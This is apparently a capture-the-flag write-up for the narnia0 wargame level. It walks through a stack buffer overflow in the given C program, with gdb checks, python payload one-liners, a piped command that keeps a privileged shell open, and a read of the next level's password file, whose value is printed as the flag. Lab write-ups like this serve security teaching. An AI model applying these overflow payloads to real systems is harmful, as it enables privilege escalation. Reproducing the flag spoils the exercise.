Writeup
narnia0.c content :
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
objdump main useful part :
804855b: 55 push ebp
804855c: 89 e5 mov ebp,esp
804855e: 53 push ebx
804855f: 83 ec 18 sub esp,0x18
8048562: c7 45 f8 41 41 41 41 mov DWORD PTR [ebp-0x8],0x41414141
8048569: 68 90 86 04 08 push 0x8048690
804856e: e8 7d fe ff ff call 80483f0 <puts@plt>
8048573: 83 c4 04 add esp,0x4
8048576: 68 c3 86 04 08 push 0x80486c3
804857b: e8 50 fe ff ff call 80483d0 <printf@plt>
8048580: 83 c4 04 add esp,0x4
8048583: 8d 45 e4 lea eax,[ebp-0x1c]
Stack view :
_________________________
| |
| buf[20] (ebp-0x1c) |
|_______________________|
| |
| val (ebp-0x8) |
|_______________________|
| |
| ebx |
|_______________________|
| |
| ebp |
|_______________________|
The main allocates 24 bytes of memory (0x18). buf is 20 bytes and val is 4 bytes; because buf is in a lower memory address than val we can overwrite the val variable.
We can try to write into a file 24 a and then launch the program and read the input from the file :
narnia0@narnia:/narnia$ python -c 'print "a" * 24' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaaaaa
val: 0x61616161
WAY OFF!!!!
Check with gdb that we write into val :
gdb -q ./narnia0
set disassembly-flavor intel
disassemble main
then set a breakpoint after the scanf:
b *0x08048591
r < /tmp/.narnia0
And then print the value in the stack from ebp-0x8 (val) :
(gdb) x/x $ebp-0x8
0xffffd5c0: 0x61616161
(gdb) x/8x $ebp-0x1c
0xffffd5ac: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5bc: 0x61616161 0x61616161 0x00000000 0x00000000
Now what if we write 20 a + deadbeef into the file ?
narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "deadbeef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaadead
val: 0x64616564
WAY OFF!!!!
It’s not good either because is reading the first 4 character from deadbeef and not deadbeef in hexadecimal. Remember that 2 hex digits corresponds to 1 byte. So we can’t simply write into the file /tmp/.narnia0 deadbeef but we need to write in binary (not text) deadbeef. To do so we can use python as follow:
narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "\xde\xad\xbe\xef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde
WAY OFF!!!!
we’re almost there, but is not perfect, why the system reversed the string from deadbeef to efbeadde? Little Endian the last byte (less significant) goes in to the lower address and the most significant into an higher address. let’s see with gdb :
(gdb) b *0x080485b5
Breakpoint 1 at 0x80485b5
(gdb) r < /tmp/.narnia0
Starting program: /narnia/narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde
Breakpoint 1, 0x080485b5 in main ()
(gdb) x/x $ebp-0x8
0xffffd5c0: 0xefbeadde
(gdb) x/8x $ebp-0x1c
0xffffd5ac: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5bc: 0x61616161 0xefbeadde 0x00000000 0x00000000
The solution is :
narnia0@narnia:/narnia$ python -c 'print "abcdefghijklmnopqrst" + "\xef\xbe\xad\xde"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: abcdefghijklmnopqrstᆳ�
val: 0xdeadbeef
But is not opening the shell, why?
Because is reading implicitly from stdin, and in the end of /tmp/.narnia0 there must be an EOF which close the shell. If we try to keep the shell open with cat then we can get an interactive shell :
(python -c 'print "A"*20+"\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
efeidiedae
Flag:
efeidiedae